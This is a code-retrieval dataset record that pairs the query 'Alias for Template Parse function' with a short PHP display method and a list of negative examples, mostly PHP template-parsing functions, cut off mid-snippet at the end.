[ "0.6747271", "0.65572554", "0.6534806", "0.6509097", "0.63936156", "0.6358387", "0.63449377", "0.627641", "0.6271316", "0.6226501", "0.6193988", "0.6192965", "0.6137437", "0.61349577", "0.6108336", "0.6085506", "0.60629225", "0.60364586", "0.60325176", "0.60301167", "0.6022649", "0.59823275", "0.5976627", "0.5971765", "0.5959477", "0.5946795", "0.59425974", "0.59398776", "0.5937403", "0.5937403", "0.5934281", "0.5924435", "0.59198016", "0.58882606", "0.5887283", "0.58865947", "0.588212", "0.5878564", "0.58642703", "0.5853166", "0.5849511", "0.58489734", "0.5838494", "0.57975423", "0.5770426", "0.5764698", "0.5739245", "0.5734936", "0.57313704", "0.5722538", "0.5708605", "0.5707045", "0.5693769", "0.5691107", "0.5691007", "0.5689581", "0.568555", "0.5680814", "0.5674096", "0.56710327", "0.5656832", "0.5642238", "0.5631308", "0.56305796", "0.56245875", "0.56175774", "0.56165814", "0.5610868", "0.5610763", "0.56068355", "0.56043786", "0.5601149", "0.56007546", "0.55907094", "0.5581855", "0.55784035", "0.55713075", "0.5569752", "0.55577374", "0.5557432", "0.55537754", "0.55427414", "0.5542189", "0.5539407", "0.5539292", "0.55368704", "0.5536629", "0.5532384", "0.55298615", "0.5528745", "0.5519884", "0.551215", "0.5509475", "0.55088294", "0.5492439", "0.5490473", "0.54867625", "0.54831916", "0.5482455", "0.5480119", "0.54779017" ]
0.0
-1
Alias for Template Parse function...
function display($handle) { global $db, $config, $user; $this->pparse($handle); return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function _parseTemplate() {}", "function _parse($template, $data, $return = FALSE)\n\t{\n\t\tif ($template == '')\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tforeach ($data as $key => $val)\n\t\t{\n\t\t\tif (is_array($val))\n\t\t\t{\n\t\t\t\t$template = $this->_parse_pair($key, $val, $template);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$template = $this->_parse_single($key, (string)$val, $template);\n\t\t\t}\n\t\t}\n\t\t\n\t\t#$template = preg_replace('/\\{.*\\}/','',$template);\n\t\t$patron = '/\\\\'.$this->l_delim.'.*\\\\'.$this->r_delim.'/';\n\t\t#die($patron);\n\t\t$template = preg_replace($patron,'',$template);\n\t\tif ($return == FALSE)\n\t\t{\n\t\t\t$CI =& get_instance();\n\t\t\t$CI->output->append_output($template);\n\t\t}\n\n\t\treturn $template;\n\t}", "function parse($template, $data = array(), $return = FALSE)\n\t{\n\t\t$string = $this->ci->load->view($template, $data, TRUE);\n\t\t\n\t\treturn $this->_parse($string, $data, $return);\t\n\t}", "public function parse_template ($val) {\n\t\t$val = str_replace (\n\t\t\tarray (\n\t\t\t\t'\\\\{{', '\\\\}}', '\\\\{%', '\\\\%}', '\\\\{\"', '\\\\\"}', '\\\\{\\'', '\\\\\\'}',\n\t\t\t\t'\\\\{!', '\\\\!}', '\\\\{#', '\\\\#}'\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'#EOBRACE#', '#ECBRACE#', '#EOBLOCK#', '#ECBLOCK#', '#EOQUOTE#', '#ECQUOTE#',\n\t\t\t\t'#EOQUOTE#', '#ECQUOTE#', '#EOINCLUDE#', '#ECINCLUDE#', '#EOHARDCODE#',\n\t\t\t\t'#ECHARDCODE#'\n\t\t\t),\n\t\t\t$val\n\t\t);\n\t\t$val = preg_replace_callback ('/\\{\\{ ?(.*?) ?\\}\\}/', array ($this, 'replace_vars'), $val);\n\t\t$val = preg_replace_callback ('/\\{[\\'\"] ?(.*?) ?[\\'\"]\\}/', array ($this, 'replace_strings'), $val);\n\t\t$val = preg_replace_callback ('/\\{\\% ?(.*?) ?\\%\\}/', array ($this, 'replace_blocks'), $val);\n\t\t$val = preg_replace_callback ('/\\{\\! ?(.*?) ?\\!\\}/s', array ($this, 'replace_includes'), $val);\n\t\t$val = preg_replace_callback ('/\\{# ?(.*?) ?#\\}/s', array ($this, 'hard_codes'), $val);\n\t\t$val = str_replace (\n\t\t\tarray (\n\t\t\t\t'#EOBRACE#', '#ECBRACE#', '#EOBLOCK#', '#ECBLOCK#', '#EOQUOTE#', '#ECQUOTE#',\n\t\t\t\t'#EOINCLUDE#', '#ECINCLUDE#', '#EOHARDCODE#', '#ECHARDCODE#'),\n\t\t\tarray (\n\t\t\t\t'{{', '}}', '{%', '%}', '{\"', '\"}', '{!', '!}', '{#', '#}'\n\t\t\t),\n\t\t\t$val\n\t\t);\n\t\treturn $val;\n\t}", "private function _Parsing($template)\n {\n // ДИРЕКТИВЫ\n // Literal\n preg_match_all(\"~{literal}(.+?){/literal}~si\", $template, $match);\n foreach ($match[0] as $key => $val)\n {\n $template = str_replace($val, \"<LITERAL{$key}LITERAL>\", $template);\n }\n\n // подключение шаблонов директивой инклуде {инклуде \"дирнаме/филенаме\"}\n $template = preg_replace_callback(self::PATTERN_INCLUDE, [$this, '_Parsing_Include'], $template);\n // парсинг языковых конструкций\n $template = preg_replace_callback(self::PATTERN_TRANSLATION1, [$this, '_Parsing_Translation1'], $template);\n $template = preg_replace_callback(self::PATTERN_TRANSLATION2, [$this, '_Parsing_Translation2'], $template);\n // парсинг плагинов\n $template = preg_replace_callback(self::PATTERN_PLUGIN, [$this, '_Parsing_Controller'], $template);\n //\n\n // Вырезаем служебные комментарии\n $template = preg_replace('~{#(.*?)#}~s', '', $template);\n\n //\tциклы и логика\n $template = preg_replace('~{((foreach|for|while|if|switch|case|default) .+?)}~si', '<' . '?php $1 { ?' . '>', $template);\n $template = preg_replace('~{(/|/foreach|/for|/while|/if|/switch|/case|/default)}~si', '<' . '?php } ?' . '>', $template);\n $template = preg_replace('~{else if (.+?)}~si', '<' . '?php } else if $1 { ?' . '>', $template);\n $template = preg_replace('~{else}~si', '<' . '?php } else { ?' . '>', $template);\n $template = preg_replace('~{(break|continue)}~si', '<' . '?php $1; ?' . '>', $template);\n //\tпеременные установка\n $template = preg_replace('~{set ([^}]{1,255})}~si', '<' . '?php $1; ?' . '>', $template);\n\n //\tпеременные вывод\n $template = preg_replace('~{(\\$[^}]{1,255})}~si', '<' . '?php echo $1; ?' . '>', $template);\n //\tфункции и константы\n $template = preg_replace('~{([a-z]{1}[^}]{0,150})}~si', '<' . '?php echo $1; ?' . '>', $template);\n\n // Literal\n foreach ($match[1] as $key => $val)\n {\n $template = str_replace(\"<LITERAL{$key}LITERAL>\", trim($val), $template);\n }\n\n // ////\tпеременные вывод\n // $template = preg_replace('~([^{]?){(\\$[^}]{1,255})}([^}]?)~si', '$1<' . '?php echo $2; ?' . '>$3', $template);\n // ////\tфункции и константы\n // $template = preg_replace('~([^{]?){([a-z]{1}[^}]{0,150})}([^}]?)~si', '$1<' . '?php echo $2; ?' . '>$3', $template);\n\n //\n return $template;\n }", "function parseTemplateText()\r\n\t{\r\n\t\t$buf = '';\r\n\t\t// we only need this if we are going to use JSP tags for wrapping\r\n\t\t// scriptlet blocks\r\n\t\t//if ($this->reader->matches('<' . '\\\\%'))\r\n\t\t//{\r\n\t\t//\t$buf .= '<' . '%';\r\n\t\t//}\r\n\r\n\t\t$buf .= $this->reader->nextContent();\r\n\r\n\t\t// don't output meaningless whitespace\r\n\t\tif (trim($buf) == '')\r\n\t\t{\r\n\t\t\treturn '';\r\n\t\t}\r\n\t\telseif ($this->ctxt->options->isElIgnored() || strpos($buf, '${') === false)\r\n\t\t{\r\n\t\t\treturn $buf;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn '<?php echo $pageContext->evaluateTemplateText(' . StringUtils::quote($buf) . ');?>';\r\n\t\t}\r\n\t}", "function parse($template, $data, $return = FALSE)\n\t{\n\t\tglobal $OUT;\n\n\t\t$template = $this->object->load->view($template, '', TRUE);\n\t\t\n\t\tif ($template == '')\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\tforeach ($data as $key => $val)\n\t\t{\n\t\t\tif ( ! is_array($val))\n\t\t\t{\n\t\t\t\t$template = $this->_parse_single($key, $val, $template);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$template = $this->_parse_pair($key, $val, $template);\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t\tif ($return == FALSE)\n\t\t{\n\t\t\t$OUT->final_output = $template;\n\t\t}\n\t\t\n\t\treturn $template;\n\t}", "protected function parse($template) {\n return (new MustacheParser())->parse(new StringTokenizer($template));\n }", "function _parse() {\n $txt = $this->_text;\n for($i=0; $i<count($txt); $i++) {\n $txt[$i] = preg_replace(\"@[{]([^}]+)[}]@e\", \"''.\\$this->_insert(\\\"\\\\1\\\").''\",$txt[$i]);\n }\n return join(\"\",$txt);\n }", "abstract public function parse ();", "protected function parse() {}", "public function parse();", "public function parse();", "public function parse();", "abstract public function parse();", "abstract public function parse();", "abstract public function parse();", "abstract public function parse();", "function show_parsed(){ // parsing template (if needed) and showing the result of parsing\n\tif (isset($this->result)) echo $this->result;\n\telse {\n\t\t$this->parse();\n\t\techo $this->result;\n\t}\n}", "function parse(){ // parsing template\n\t$loop_count = -1;\n\tif (func_num_args()>= 1){\n\t\t$proc_type = func_get_arg(0);\n\t\t//if (!in_array($proc_type, array(PT_ROOT, PT_IF, PT_FOR, PT_SILENT_IF, PT_SILENT_FOR, PT_FALSE_IF))) system_die('Invalid process type', 'Template->parse');\n\t} else {\n\t\tif ( (PT_COMPILE) && (isset($this->filename)) ) // file parsing\n\t\t{\n\t\t\tif (file_exists($this->filename . '.php'))\n\t\t\t\tif (filemtime($this->filename . '.php') > filemtime($this->filename))\n\t\t\t\t{\n\t\t\t\t\tinclude($this->filename . '.php');\n\t\t\t\t\t$this->result = $r;\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\t\t\t$nesting = 0;\n\t\t\t$tplc = '<?$r=\\'\\';';\n\t\t\tfor ($i=0; $i<count($this->template); $i++)\n\t\t\t{\n\t\t\t\t// process\n\t\t\t\t$line = trim($this->template[$i]);\n\t\t\t\t$line = preg_replace(PT_COMMENT_TAGS, '', $line); // Remove comments\n\t\t\t\t$result = array();\n\t\t\t\tif (preg_match(PT_START_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\tif (strcasecmp($result[1], 'FOR') == 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$tplc .= 'for ($i' . $nesting . '=0;$i' . $nesting . '<intval(' . $this->get_var_ref($result[3], $nesting) . ');$i' . $nesting . '++){' . \"\\n\";\n\t\t\t\t\t\t$nesting++;\n\t\t\t\t\t}\n\t\t\t\t\telse // this line is IF opening tag\n\t\t\t\t\t{\n\t\t\t\t\t\t$tplc .= 'if ('.$result[2].'(bool)('.$this->get_var_ref($result[3], $nesting).')){' . \"\\n\";\n\t\t\t\t\t}\n\t\t\t\t} elseif (preg_match(PT_END_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$tplc .= '}' . \"\\n\";\n\t\t\t\t\tif (strcasecmp($result[1], 'FOR') == 0)\n\t\t\t\t\t\t$nesting--;\n\t\t\t\t} elseif (preg_match(PT_MIDDLE_TAGS, $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$tplc .= '}else{' . \"\\n\";\n\t\t\t\t} elseif (preg_match('/<%/', $line, $result))\n\t\t\t\t{\n\t\t\t\t\t$j = 0;\n\t\t\t\t\t$tmp_str = '';\n\t\t\t\t\twhile ($j<strlen($line))\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( ($line[$j] == '<') && ($line[$j+1] == '%') )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (strlen($tmp_str))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($tmp_str, $nesting, $dw) . \";\\n\";\n\t\t\t\t\t\t\t\t$tmp_str = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_f_value(substr($line, $j), $nesting, $dw) . \";\\n\";\n\t\t\t\t\t\t\t$j += $dw;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tmp_str .= $line[$j];\n\t\t\t\t\t\t\t$j++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (strlen($tmp_str))\n\t\t\t\t\t{\n\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($tmp_str, $nesting, $dw) . \";\\n\";\n\t\t\t\t\t}\n\t\t\t\t\tif (strlen($line))\n\t\t\t\t\t\t$tplc .= '$r.=\"\\\\n\";';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (strlen($line))\n\t\t\t\t\t{\n\t\t\t\t\t\t$dw = 0;\n\t\t\t\t\t\t$tplc .= '$r.=' . $this->_process_unk_value($line, $nesting, $dw) . \".\\\"\\\\n\\\";\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$tplc .= '?>';\n\t\t\t\n\t\t\t$fh = fopen($this->filename . '.php', 'wt');\n\t\t\tif ($fh)\n\t\t\t{\n\t\t\t\tfwrite($fh, $tplc);\n\t\t\t\tfclose($fh);\n\t\t\t}\n\t\t\telse\n\t\t\t\tsystem_die('Cannot save compiled template');\n\t\t\tinclude($this->filename . '.php');\n\t\t\t$this->result = $r;\n\t\t\treturn 0;\n\t\t} // if compile and filename\n\t\t$proc_type = PT_ROOT;\n\t\tunset($this->result);\n\t}\n\tif (func_num_args()> 1){\n\t\t$curr_pos = intval(func_get_arg(1));\n\t\tif (($proc_type == PT_FOR) && (func_num_args() < 3)) system_die('Undefined loop count (FOR process)', 'Template->parse');\n\t\tif (func_num_args()> 2) $loop_count = intval(func_get_arg(2));\n\t}\n\telse\n\t\t$curr_pos = 0;\n\t$succ_mode = false;\n\twhile ($curr_pos < sizeof($this->template)){\n\t\t$line = $this->template[$curr_pos]; // current line\n\t\t$line = preg_replace(PT_COMMENT_TAGS, '', $line); // Remove comments\n\t\tif (preg_match(PT_START_TAGS, $line, $result)){ // this line contains one of the START tags\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif ($result[1] == 'FOR'){\n\t\t\t\tif (!$this->in_vars($result[3]) && ($proc_type < PT_SILENT_IF)){ // invalid FOR variable\n\t\t\t\t\t$error_msg = 'Invalid FOR statement counter named \"'.$result[3].'\"';\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tif ($proc_type <= PT_FOR) $count = intval($this->get_var_val($result[3]));\n\t\t\t\t\t$this->system_vars['cycle_nesting']++;\n\t\t\t\t\t$nesting_saver = $this->system_vars['cycle_nesting'];\n\t\t\t\t\tif ($proc_type> PT_FOR) $last_pos = $this->parse(PT_SILENT_FOR, $curr_pos + 1, 0); // create invisible FOR process\n\t\t\t\t\telse {\n\t\t\t\t\t\tif ($count == 0) $last_pos = $this->parse(PT_SILENT_FOR, $curr_pos + 1, 0); // create invisible FOR process\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tfor ($c = 0; $c < $count; $c++){\n\t\t\t\t\t\t\t\t$this->system_vars['cycle_counters'][$nesting_saver] = $c;\n\t\t\t\t\t\t\t\t$this->system_vars['cycle_nesting'] = $nesting_saver;\n\t\t\t\t\t\t\t\t$last_pos = $this->parse(PT_FOR, $curr_pos + 1, $c); // create visible FOR process in loop\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$curr_pos = $last_pos;\n\t\t\t\t}\n\t\t\t} else { // this line is IF opening tag\n\t\t\t\tif (!$this->in_vars($result[3]) && ($proc_type < PT_SILENT_IF)){\n\t\t\t\t\t$error_msg = 'Invalid IF statement variable named \"'.$result[3].'\"';\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tif ($proc_type>PT_FOR) $curr_type = PT_SILENT_IF;\n\t\t\t\t\telse {\n\t\t\t\t\t\t$var = (bool)$this->get_var_val($result[3]);\n\t\t\t\t\t\tif (strlen($result[2])> 0) $var = !$var;\n\t\t\t\t\t\t$curr_type = ($var)?PT_IF:PT_FALSE_IF;\n\t\t\t\t\t}\n\t\t\t\t\tif ($loop_count!=-1) $curr_pos = $this->parse($curr_type, $curr_pos+1, $loop_count); // create new IF process inside the loop\n\t\t\t\t\telse $curr_pos = $this->parse($curr_type, $curr_pos+1); // create new IF process\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif(preg_match(PT_END_TAGS, $line, $result)){\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif (((($proc_type == PT_FOR) || ($proc_type == PT_SILENT_FOR)) && ($result[1] == 'FOR')) || ((($proc_type == PT_IF) || ($proc_type == PT_SILENT_IF) || ($proc_type == PT_FALSE_IF)) && ($result[1] == 'IF'))) {\n\t\t\t\tif (($proc_type == PT_FOR) || ($proc_type == PT_SILENT_FOR)) $this->system_vars['cycle_nesting']--; // this one was the end of loop block\n\t\t\t\t$succ_mode = true;\n\t\t\t\tbreak;\n\t\t\t} else {\n\t\t\t\t$error_msg = 'Unexpected end of '.$result[1].' statement';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} elseif(preg_match(PT_MIDDLE_TAGS, $line, $result)){ // this line contains one of the MIDDLE tags (ELSE probably)\n\t\t\t$result[1] = strtoupper($result[1]);\n\t\t\tif (($proc_type == PT_FALSE_IF) && ($result[1] == 'ELSE')) {\n\t\t\t\t$proc_type = PT_IF;\n\t\t\t} elseif (($proc_type == PT_IF) && ($result[1] == 'ELSE')) {\n\t\t\t\t$proc_type = PT_FALSE_IF;\n\t\t\t} elseif($proc_type != PT_SILENT_IF) { // ELSE inside non IF process or so\n\t\t\t\t$error_msg = 'Unexpected '.$result[1].' statement '.$proc_type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} elseif ($proc_type <= PT_FOR){ // processing of visible contents\n\t\t\tif (!isset($this->result)) $this->result = '';\n\t\t\t\t$matches = array();\n\t\t\t\t$line_is_control = false;\n\n\t\t\t\tif (preg_match_all(PT_COUNTER_TAGS, $line, $matches)){ // We have counter tags inside\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[0] as $key => $val){ // process counters\n\t\t\t\t\t\tif ($loop_count >= 0) $replace[$key] = $loop_count + 1;\n\t\t\t\t\t\telse $replace[$key] = '';\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\t\t\t\t// processing variables\n\n\t\t\t\tif (preg_match_all(PT_VARIABLE_TAGS, $line, $matches)){ // Yes! We have some tags inside\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[2] as $key => $val){ // go thru the matches\n\t\t\t\t\t\tif (strlen($matches[4][$key])> 0){ // process array variables\n\t\t\t\t\t\t\tif (isset($this->vars[$val]) && is_array($this->vars[$val]) && array_key_exists($matches[4][$key], $this->vars[$val])){\n\t\t\t\t\t\t\t\t\t$replace[$key] = $this->vars[$val][$matches[4][$key]];\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", \"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} elseif (isset($this->vars[$val]) && is_object($this->vars[$val])) {\n\t\t\t\t\t\t\t\t \t$_obj = &$this->vars[$val];\n\t\t\t\t\t\t\t\t\t$_name = $matches[4][$key];\n\t\t\t\t\t\t\t\t\t$replace[$key] = $_obj->$_name;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", \"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($val.$matches[3][$key], 4); // show stupid notice\n\t\t\t\t\t\t\t\t$replace[$key] = ''; // and insert complete emptyness\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else{ // process common variables\n\t\t\t\t\t\t\tif (isset($this->vars[$val]))\n\t\t\t\t\t\t\t\t$replace[$key] = $this->get_var_val($val);\n\t\t\t\t\t\t\telseif (preg_match('/\\\\//', $val))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$v_row = $this->Registry->_internal_get_value($val);\n\t\t\t\t\t\t\t\tif ( ($v_row !== false) && (!$v_row->eof()) ) {\n\t\t\t\t\t\t\t\t\t$out = $v_row->Rows[0]->Fields['value'];\n\t\t\t\t\t\t if ($v_row->Rows[0]->Fields['key_type'] == KEY_TYPE_IMAGE)\n\t\t\t\t\t\t\t\t\t\t$out = $GLOBALS['app']->template_vars['REGISTRY_WEB'] . $v_row->Rows[0]->Fields['id_path'] . '/' . $out;\n\t\t\t\t\t\t\t\t\t$replace[$key] = $out;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", \"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\n\t\t\t\t// processing ternary operators\n\n\t\t\t\tif (preg_match_all(PT_TERNARY_TAGS, $line, $matches)){ // Yes! We have some tags inside\n\t\t\t\t\tforeach ($matches[2] as $key => $val){ // go thru the matches\n\t\t\t\t\t\tif (isset($this->vars[$val])){\n\t\t\t\t\t\t\t$var = (bool)$this->get_var_val($val);\n\t\t\t\t\t\t\tif (strlen($matches[1][$key])> 0) $var = !$var;\n\t\t\t\t\t\t\t$res_num = ($var)?4:6;\n\t\t\t\t\t\t\tif (isset($this->vars[$matches[$res_num][$key]])) {\n\t\t\t\t\t\t\t\t$replace[$key] = $this->get_var_val($matches[$res_num][$key]);\n\t\t\t\t\t\t\t\tif (strlen($matches[$res_num - 1][$key])> 0) $replace[$key] = htmlspecialchars($replace[$key]); // escape html entries\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($res_var, 1);\n\t\t\t\t\t\t\t\t$result[$key] = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else { // we have tag but haven't got variable\n\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($val, 1); // curse them out in debug mode\n\t\t\t\t\t\t\t$replace[$key] = ''; // and insert pretty nothing\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\n\t\t\t\t// processing controls\n\t\t\t\tif (preg_match_all(PT_CONTROL_TAGS, $line, $matches)){ // Yes! This line contains control definition\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[1] as $key => $name){ // go through the matches\n\t\t\t\t\t\tif (strlen($matches[3][$key])> 0) $tcontrol = &$GLOBALS['pt_template_factory']->get_object(strtolower($name), strtolower($matches[3][$key])); // here is control with id\n\t\t\t\t\t\telse $tcontrol = &$GLOBALS['pt_template_factory']->get_object(strtolower($name)); // here is control without id\n\t\t\t\t\t\tif (!is_null($tcontrol)){\n\t\t\t\t\t\t\t$tcontrol->parse_vars($matches[5][$key]);\n\t\t\t\t\t\t\tif (!$tcontrol->is_inited)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$tcontrol->on_page_init();\n\t\t\t\t\t\t\t\t$tcontrol->is_inited = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$replace[$key] = $tcontrol->process($loop_count);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace control statements with control results\n\t\t\t\t}\n\n\t\t\t\t// compress and delete blank lines\n\t\t\t\t$line = preg_replace('/[\\r\\n]*$/', '', trim($line));\n\t\t\t\tif (strlen($line)> 0) $this->result .= $line . \"\\n\";\n\t\t\t}\n\t\t\t$curr_pos++;\n\t\t}\n\n// And what we have here?\n\t\tif (!isset($error_msg) && ($proc_type != PT_ROOT) && !$succ_mode) $error_msg = 'Unexpected end of file'; // invalid template - show error\n\t\tif (isset($error_msg)){\n\t\t\t$error_txt = 'Template parsing error on line '.($curr_pos + 1);\n\t\t\tif (isset($this->filename))\t$error_txt .= ' of file \"'.$this->filename.'\"';\n\t\t\t$error_txt .= ' - '.$error_msg;\n\t\t\tsystem_die($error_txt, 'Template->parse'); // invalid template - show error\n\t\t}\n\t\tif ($proc_type == PT_ROOT)\n\t\t\tif (!isset($this->result))\n\t\t\t\t$this->result = ''; // probably there were one big false IF?\n\t\treturn $curr_pos; // HURRA! HURRA! This one is successfully completed!\n\t}", "protected function getCurrentParsedTemplate() {}", "public function parse($template, $data, $return = FALSE)\r\n\t{\r\n\t\t$template = $this->CI->load->view($template, $data, TRUE);\r\n\t\t$template = $this->_parse_double($template, $data);\r\n\t\treturn $this->_parse($template, $data, $return);\r\n\t}", "public function template();", "protected function ParseTemplate($template, $return = false)\n\t{\n\t\t$GLOBALS['ISC_CLASS_TEMPLATE']->SetTemplate(\"../includes/converter/templates/\".$template);\n\t\treturn $GLOBALS['ISC_CLASS_TEMPLATE']->ParseTemplate($return);\n\t}", "function smarty_function_p_tag_this($params, &$smarty) \n{ \n if ($params['string']){\n\t\t$string = preg_replace_callback('#\\R+#', 'parseTagsRecursive', $params['string']); /* to be used to inject picures and or ads in the body. */\n $string = preg_replace('/\\n/', '', $string);\n $string = '<p>'.$string.'</p>';\n $result = $string;\n } else {$result = null;}\n\t\n if (isset($params['assign'])) {\n $smarty->assign($params['assign'], $result);\n } else {\n return $result;\n }\n}", "abstract protected function template(): string;", "public function parse_template($template, $vars = array())\n\t{\n\t\t$this->EE->load->library('template_helper');\n\t\treturn $this->EE->template_helper->fetch_and_parse($template, $vars); \n\t}", "protected function parse(): void\n {\n parent::parse();\n $this->template->assign('dataGrid', (string) $this->dataGrid->getContent());\n }", "function smarty_modifier_twitterparse($string){\n\n\t// parse urls\n\t$pattern = '/([A-Za-z]+:\\/\\/[A-Za-z0-9-_]+\\.[A-Za-z0-9-_:%&amp;\\?\\/.=]+)/i';\n\t$replacement = '<a href=\"$1\" target=\"_blank\">$1</a>';\n\t$string = preg_replace($pattern, $replacement, $string);\n\n\t// parse usernames\n\t$pattern = '/[@]+([A-Za-z0-9-_]+)/';\n\t$replacement = '<a href=\"http://twitter.com/$1\" target=\"_blank\">@$1</a>';\n\t$string = preg_replace($pattern, $replacement, 